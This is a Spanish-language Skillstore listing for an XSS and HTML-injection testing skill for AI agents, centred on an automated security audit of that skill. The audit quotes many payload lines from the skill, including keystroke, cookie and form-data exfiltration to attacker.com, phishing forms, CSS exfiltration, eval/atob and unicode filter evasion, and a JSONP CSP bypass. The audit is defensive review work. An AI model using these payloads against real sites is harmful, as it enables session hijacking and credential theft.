Habilidades cross-site-scripting-and-html-injection-testing
📦
cross-site-scripting-and-html-injection-testing
v1.1 Revisión del contenido r1 Crítico ⚡ Contiene scripts⚙️ Comandos externos🌐 Acceso a red📁 Acceso al sistema de archivos
Evaluar riesgos de XSS e inyección HTML
Las aplicaciones web pueden reflejar entradas no seguras y exponer a los usuarios a ataques del lado del cliente. Esta skill ayuda a los testers autorizados a planificar comprobaciones de XSS, clasificar hallazgos y documentar la remediación.
Compatible con: Claude Codex Code(CC)
No instales este Skill automáticamente.
La política canónica exige la revisión de un operador antes de cualquier acción de instalación.
Instalar con mi Agente
Copia esta solicitud en tu Agente. Incluye la página canónica del Skill y el manifiesto.
Solicitud de agente
Review the Skillstore skill "cross-site-scripting-and-html-injection-testing" from https://skillstore.io/skills/sickn33-cross-site-scripting-and-html-injection-testing.md and its manifest at https://skillstore.io/api/skills/sickn33-cross-site-scripting-and-html-injection-testing/manifest. Verify the artifact. Do not auto-install. Inspect the skill and report your findings, then wait for an operator or manual installation decision.Tu Agente debe seguir mostrando su plan y solicitar cualquier confirmación exigida por la política de seguridad.
Recursos legibles por agentes
Usa estos enlaces cuando un agente de IA, crawler o script necesite contexto limpio en vez de leer la página completa.
Pruébalo
Usando "cross-site-scripting-and-html-injection-testing". Crear un plan de pruebas para una evaluación autorizada de una página de búsqueda.
Resultado esperado:
- Confirmar alcance, cuentas, manejo de datos y ventanas de prueba permitidas.
- Probar la reflexión en parámetros de consulta, títulos de resultados, mensajes de error y búsquedas guardadas.
- Registrar si la salida se codifica, se sanitiza, se bloquea o se ejecuta.
Usando "cross-site-scripting-and-html-injection-testing". Resumir un hallazgo de revisión de código DOM XSS.
Resultado esperado:
- Los datos de URL controlados por el usuario llegan a un sumidero de renderizado no seguro.
- El impacto es la ejecución de scripts en el navegador de la víctima si la entrada no se codifica.
- La remediación consiste en usar renderizado de solo texto o un sanitizador validado.
Usando "cross-site-scripting-and-html-injection-testing". Preparar orientación de remediación para un problema de stored XSS.
Resultado esperado:
- Codificar el contenido del usuario para el contexto exacto de salida antes de renderizarlo.
- Validar la longitud y el tipo de entrada, pero no depender solo de la validación.
- Agregar pruebas de regresión y monitorear markup no seguro almacenado.
Auditoría de seguridad
Críticov4 • 6/7/2026 Abrir el informe versionado
The audit confirms serious risks: the skill provides actionable XSS payloads for cookie theft, keylogging, session capture, phishing, and CSP bypass. Many shell-backtick and filesystem findings are false positives from Markdown or payload syntax, but the offensive exfiltration guidance remains security-relevant. The skill should be rewritten before publication to use harmless, authorized testing examples only.
1
Archivos escaneados
500
Líneas analizadas
31
Elementos de revisión
0
Falsos positivos ignorados
Preocupaciones de seguridad confirmadas (9)
Crítico
Certificate/key files
new Image().src='http://attacker.com/log?k='+e.key;
Although the pattern label is imprecise, the line sends captured keystrokes to an attacker endpoint. That is sensitive user input exfiltration.
Crítico
Keylogger keywords
<!-- Keylogger injection -->
The file labels and provides a keylogger injection payload that captures keystrokes. This is direct credential-theft capability, even in example form.
Crítico
Credential and Session Exfiltration Guidance
The skill provides payloads for cookie theft, keylogging, session capture, and phishing form collection. This goes beyond safe validation guidance.
Multiple sections explicitly demonstrate stealing cookies, capturing keystrokes, collecting credentials, and sending session data to attacker endpoints.
Alto
Base64 decode
<script>eval(atob('YWxlcnQoMSk='))</script>
Base64 decoding is combined with eval in an XSS payload. The context is filter evasion for script execution, not benign data handling.
Alto
Base64 encode
new Image().src='http://attacker.com/c='+btoa(document.cookie);
Base64 encoding is used while sending document.cookie to an attacker endpoint. That is obfuscated session-data exfiltration guidance.
Alto
Social Engineering Delivery Guidance
The skill recommends phishing emails, social messages, URL shorteners, QR codes, redirect chains, and phishing delivery of crafted attack URLs.
The delivery section names victim-delivery methods, and the reflected XSS example says to send the crafted URL by phishing email.
Alto
Security Control Bypass Guidance
The skill gives reusable filter, CSP, and WAF bypass techniques instead of limiting guidance to defensive validation and remediation.
The cited sections include JavaScript obfuscation, JSONP-based CSP bypass, and troubleshooting advice for WAF-blocked payloads.
Medio
Unicode escape sequence
<script>\u0061lert(1)</script>
Unicode escaping appears inside XSS payload examples for bypassing filters. The context makes it security-relevant evasion guidance.
Mostrar los 9 problemas confirmados
Medio
Unicode escape sequence
<img src=x onerror=\u0061\u006cert(1)>
Unicode escaping appears inside XSS payload examples for bypassing filters. The context makes it security-relevant evasion guidance.
Elementos de revisión de capacidades (31)
Estas son capacidades locales reales que pueden esperarse para esta habilidad, por lo que requieren revisión, pero no se cuentan como comportamiento malicioso confirmado.
Crítico
Hardcoded URL
new Image().src='http://attacker.com/log?k='+e.key;
The URL is used to send captured keystrokes to an attacker endpoint. This is keylogging and sensitive data exfiltration guidance.
Alto
Dynamic code evaluation with eval()
eval()
The line catalogs unsafe DOM sinks used to locate exploitable client-side injection paths. In this skill, that guidance supports XSS exploitation.
Alto
Dynamic code evaluation with eval()
<script>eval('al'+'ert(1)')</script>
The payload uses dynamic JavaScript execution to evade filters and trigger script execution. This is actionable XSS exploitation guidance.
Alto
Dynamic code evaluation with eval()
<script>eval(atob('YWxlcnQoMSk='))</script>
The payload uses dynamic JavaScript execution to evade filters and trigger script execution. This is actionable XSS exploitation guidance.
Alto
Dynamic function constructor
Function()
The line catalogs unsafe DOM sinks used to locate exploitable client-side injection paths. In this skill, that guidance supports XSS exploitation.
Alto
document.write injection
document.write()
The line catalogs unsafe DOM sinks used to locate exploitable client-side injection paths. In this skill, that guidance supports XSS exploitation.
Alto
innerHTML assignment (XSS risk)
document.getElementById('welcome').innerHTML = 'Hello, ' + location.hash.slice(1);
The example assigns URL hash data directly to innerHTML. That is a concrete DOM XSS pattern using user-controlled input.
Alto
Fetch API call
fetch('http://attacker.com/capture',{
The URL is part of a payload that sends cookies, local storage, or session context to an attacker endpoint. That is credential or session exfiltration.
Alto
Fetch API call
fetch('https://attacker.com/log',{
The URL is part of a payload that sends cookies, local storage, or session context to an attacker endpoint. That is credential or session exfiltration.
Alto
Hardcoded URL
document.location='http://attacker.com/steal?c='+document.cookie
The URL is part of a payload that sends cookies, local storage, or session context to an attacker endpoint. That is credential or session exfiltration.
Alto
Hardcoded URL
fetch('http://attacker.com/capture',{
The URL is part of a payload that sends cookies, local storage, or session context to an attacker endpoint. That is credential or session exfiltration.
Alto
Hardcoded URL
<form action="http://attacker.com/phish" method="POST">
The URL is used in phishing or form-hijacking examples that collect user credentials. This is actionable social-engineering guidance.
Alto
Hardcoded URL
<form action="http://attacker.com/capture">
The URL is used in phishing or form-hijacking examples that collect user credentials. This is actionable social-engineering guidance.
Alto
Hardcoded URL
input[value^="a"]{background:url(http://attacker.com/a)}
The URL appears in CSS-based data exfiltration examples. The context shows extraction of input values through attacker-controlled requests.
Alto
Hardcoded URL
input[value^="b"]{background:url(http://attacker.com/b)}
The URL appears in CSS-based data exfiltration examples. The context shows extraction of input values through attacker-controlled requests.
Alto
Hardcoded URL
<iframe src="http://attacker.com/phishing" style="position:absolute;top:0;left:0;width:100%;height:1
The URL is used in phishing or form-hijacking examples that collect user credentials. This is actionable social-engineering guidance.
Alto
Hardcoded URL
new Image().src='http://attacker.com/c='+btoa(document.cookie);
The URL is part of a payload that sends cookies, local storage, or session context to an attacker endpoint. That is credential or session exfiltration.
Alto
Hardcoded URL
fetch('https://attacker.com/log',{
The URL is part of a payload that sends cookies, local storage, or session context to an attacker endpoint. That is credential or session exfiltration.
Alto
Hardcoded URL
i.src = 'https://attacker.com/steal?cookie=' + encodeURIComponent(document.cookie);
The URL is part of a payload that sends cookies, local storage, or session context to an attacker endpoint. That is credential or session exfiltration.
Alto
Hardcoded URL
https://shop.example.com/search?q=%3Cimg%20src=x%20onerror=%22fetch('https://attacker.com/log?c='+do
The URL is part of a payload that sends cookies, local storage, or session context to an attacker endpoint. That is credential or session exfiltration.
Alto
Hardcoded URL
<script src="https://cdn.trusted.com/api/jsonp?callback=alert"></script>
The URL is used as a JSONP-based CSP bypass example. That is actionable guidance for bypassing a browser security control.
Medio
insertAdjacentHTML (XSS risk)
element.insertAdjacentHTML()
The line catalogs unsafe DOM sinks used to locate exploitable client-side injection paths. In this skill, that guidance supports XSS exploitation.
Medio
Hardcoded URL
https://target.com/search?q=<script>alert(document.domain)</script>
The URL is an exploit example for reflected or DOM-based XSS against a target endpoint. It can be used to validate or abuse client-side injection.
Medio
Hardcoded URL
https://target.com/search?q=%3Cscript%3Ealert(1)%3C/script%3E
The URL is an exploit example for reflected or DOM-based XSS against a target endpoint. It can be used to validate or abuse client-side injection.
Medio
Hardcoded URL
https://target.com/page?name="><img src=x onerror=alert(1)>
The URL is an exploit example for reflected or DOM-based XSS against a target endpoint. It can be used to validate or abuse client-side injection.
Medio
Hardcoded URL
https://target.com/page#<script>alert(1)</script>
The URL is an exploit example for reflected or DOM-based XSS against a target endpoint. It can be used to validate or abuse client-side injection.
Medio
Hardcoded URL
https://target.com/page#<img src=x onerror=alert(1)>
The URL is an exploit example for reflected or DOM-based XSS against a target endpoint. It can be used to validate or abuse client-side injection.
Medio
Hardcoded URL
https://target.com/page?default=<script>alert(1)</script>
The URL is an exploit example for reflected or DOM-based XSS against a target endpoint. It can be used to validate or abuse client-side injection.
Medio
Hardcoded URL
<iframe src="https://target.com/vulnerable"></iframe>
The URL is an exploit example for reflected or DOM-based XSS against a target endpoint. It can be used to validate or abuse client-side injection.
Medio
Hardcoded URL
https://shop.example.com/search?q=<script>alert(document.domain)</script>
The URL is an exploit example for reflected or DOM-based XSS against a target endpoint. It can be used to validate or abuse client-side injection.
Medio
Hardcoded URL
https://app.example.com/dashboard#<img src=x onerror=alert(document.cookie)>
The URL is an exploit example for reflected or DOM-based XSS against a target endpoint. It can be used to validate or abuse client-side injection.
Factores de riesgo
⚡ Contiene scripts (7)
⚙️ Comandos externos (64)
SKILL.md:49-58 SKILL.md:58-63 SKILL.md:63-78 SKILL.md:78-108 SKILL.md:108-115 SKILL.md:115-119 SKILL.md:119-149 SKILL.md:149-156 SKILL.md:156-168 SKILL.md:168-173 SKILL.md:173-179 SKILL.md:179-186 SKILL.md:186-200 SKILL.md:200-205 SKILL.md:205-215 SKILL.md:215-219 SKILL.md:219-232 SKILL.md:232-239 SKILL.md:239-257 SKILL.md:257-262 SKILL.md:262-273 SKILL.md:273-279 SKILL.md:279-295 SKILL.md:295-299 SKILL.md:299-311 SKILL.md:311-315 SKILL.md:315-320 SKILL.md:320-329 SKILL.md:329-331 SKILL.md:331-335 SKILL.md:335-345 SKILL.md:345-350 SKILL.md:350-356 SKILL.md:356-362 SKILL.md:362-363 SKILL.md:363-364 SKILL.md:364-365 SKILL.md:365-366 SKILL.md:366-367 SKILL.md:367-368 SKILL.md:368-371 SKILL.md:371-375 SKILL.md:375-378 SKILL.md:378-390 SKILL.md:390-419 SKILL.md:419-424 SKILL.md:424-429 SKILL.md:429-434 SKILL.md:434-443 SKILL.md:443-445 SKILL.md:445-448 SKILL.md:448-450 SKILL.md:450-453 SKILL.md:453-455 SKILL.md:455-464 SKILL.md:464-466 SKILL.md:466-469 SKILL.md:469-471 SKILL.md:471-480 SKILL.md:480-482 SKILL.md:482-485 SKILL.md:485-487 SKILL.md:487-496 SKILL.md:496
🌐 Acceso a red (26)
SKILL.md:134 SKILL.md:380 SKILL.md:122 SKILL.md:128 SKILL.md:134 SKILL.md:143 SKILL.md:158 SKILL.md:161 SKILL.md:164 SKILL.md:167 SKILL.md:221 SKILL.md:224 SKILL.md:228 SKILL.md:244 SKILL.md:251 SKILL.md:252 SKILL.md:256 SKILL.md:373 SKILL.md:380 SKILL.md:432 SKILL.md:444 SKILL.md:449 SKILL.md:454 SKILL.md:470 SKILL.md:481 SKILL.md:486
📁 Acceso al sistema de archivos (1)
Patrones detectados
Keylogger keywords
Auditado por: codex Ver historial de auditorías →
Compartir y citar este informe
Comparte el informe de evaluación versionado, la insignia neutral, la tarjeta insertable y las citas. Skillstore presenta evidencias sin decidir si este Skill es seguro.
Copiar enlace del informe
https://skillstore.io/skills/sickn33-cross-site-scripting-and-html-injection-testing/audits/4?utm_source=security_passport&utm_medium=share&utm_campaign=versioned_reportInsignia Markdown
[](https://skillstore.io/skills/sickn33-cross-site-scripting-and-html-injection-testing?utm_source=security_passport_badge)Insignia HTML
<a href="https://skillstore.io/skills/sickn33-cross-site-scripting-and-html-injection-testing?utm_source=security_passport_badge"><img src="https://skillstore.io/badges/skills/sickn33-cross-site-scripting-and-html-injection-testing/security.svg" alt="Skillstore security assessment" loading="lazy"></a>Tarjeta para insertar
<iframe src="https://skillstore.io/embed/skills/sickn33-cross-site-scripting-and-html-injection-testing.html" title="Skillstore Security Assessment" sandbox="allow-popups allow-popups-to-escape-sandbox" loading="lazy" referrerpolicy="no-referrer" width="420" height="180"></iframe>Citas académicas (APA · BibTeX · CFF)
Cita APA
sickn33. (2026). cross-site-scripting-and-html-injection-testing security audit report (audit version 4) [Author version 1.1]. Skillstore. https://skillstore.io/skills/sickn33-cross-site-scripting-and-html-injection-testing/audits/4Cita BibTeX
@techreport{sickn33-sickn33-cross-site-scripting-and-html-injection-testing-2026,
author = {sickn33},
title = {cross-site-scripting-and-html-injection-testing security audit report (audit version 4)},
institution = {Skillstore},
year = {2026},
number = {4},
url = {https://skillstore.io/skills/sickn33-cross-site-scripting-and-html-injection-testing/audits/4},
note = {Author version 1.1}
}CITATION.cff
cff-version: 1.2.0
message: "If you use this Skill, cite its author and this versioned security audit report."
title: "cross-site-scripting-and-html-injection-testing security audit report (audit version 4)"
version: "1.1"
type: report
authors:
- name: "sickn33"
date-released: "2026-07-06"
url: "https://skillstore.io/skills/sickn33-cross-site-scripting-and-html-injection-testing/audits/4"
identifiers:
- type: other
value: "skillstore:sickn33-cross-site-scripting-and-html-injection-testing:audit:4"
description: "Skillstore immutable audit report identifier"
Puntuación de Skillstore
Por qué esta puntuación Confianza de la evidencia: Medio 55
Arquitectura
85
Mantenibilidad
87
Contenido
69
Comunidad
83
Cumplimiento de la especificación
Lo que puedes crear
Planificar una evaluación XSS autorizada
Crear una lista de verificación con alcance definido para probar rutas de inyección reflejada, almacenada y basada en DOM.
Revisar código riesgoso del lado del cliente
Identificar sumideros DOM no seguros y recomendar patrones de renderizado más seguros para datos controlados por el usuario.
Documentar hallazgos confirmados
Convertir el comportamiento observado en notas claras de impacto, reproducción y remediación.
Prueba estos prompts
Crear un plan de pruebas seguro
Tengo autorización por escrito para esta aplicación web. Crea un plan de pruebas no destructivo de XSS e inyección HTML para las páginas dentro del alcance.
Mapear puntos de reflexión
Dados estos formularios, parámetros de URL y encabezados, identifica puntos probables de reflexión y sugiere pasos de validación seguros.
Analizar sumideros DOM
Revisa este flujo del lado del cliente en busca de fuentes controladas por el usuario, sumideros DOM no seguros y alternativas de renderizado más seguras.
Redactar el informe del hallazgo
Convierte mis observaciones de pruebas autorizadas en un informe XSS conciso con impacto, evidencia, severidad y orientación de remediación.
Mejores prácticas
- Usar solo cuentas dentro del alcance, objetivos dentro del alcance y datos sintéticos durante las pruebas.
- Preferir marcadores inofensivos de prueba de ejecución en lugar de payloads de captura de datos.
- Documentar fuente, sumidero, contexto, impacto y remediación para cada hallazgo.
Evitar
- Probar usuarios de producción o sesiones reales sin aprobación explícita.
- Usar payloads que recopilen credenciales, cookies, pulsaciones de teclas o almacenamiento local.
- Tratar un payload bloqueado como prueba de que la aplicación es segura.
Preguntas frecuentes
¿Esta skill es solo para pruebas autorizadas?
Sí. Úsala solo con autorización por escrito, alcance definido y reglas aprobadas de manejo de datos.
¿Ejecuta un escáner automatizado?
No. Proporciona estructura para pruebas manuales, prompts de análisis y orientación para informes.
¿Puede ayudar con la revisión de XSS basado en DOM?
Sí. Enumera fuentes, sumideros y preguntas de revisión comunes para rutas de código del lado del cliente.
¿CSP elimina todo el riesgo de XSS?
No. CSP reduce el impacto, pero la codificación de salida y las APIs DOM seguras siguen siendo necesarias.
¿Qué evidencia debe incluir un informe?
Incluye alcance, entrada afectada, contexto de ejecución, impacto, capturas de pantalla o notas, y pasos de remediación.
¿Cómo deben manejarse los ejemplos no seguros?
Reemplázalos por marcadores inofensivos y tokens sintéticos antes de cualquier evaluación real.
Detalles del desarrollador
Autor
sickn33Licencia
MIT
Versión del autor
v1.1
Revisión de Skillstore
r1
Aviso de versión
La versión declarada por el autor no es un SemVer válido.
Repositorio
https://github.com/sickn33/antigravity-awesome-skills/tree/main/web-app/public/skills/xss-html-injectionRef.
01171b582d636c013315c5e0d969c64f8d9cdff2
Actualidad del mantenimiento
24/7/2026
Uso
8 descargas · 104 vistas
Estructura de archivos
📄 SKILL.md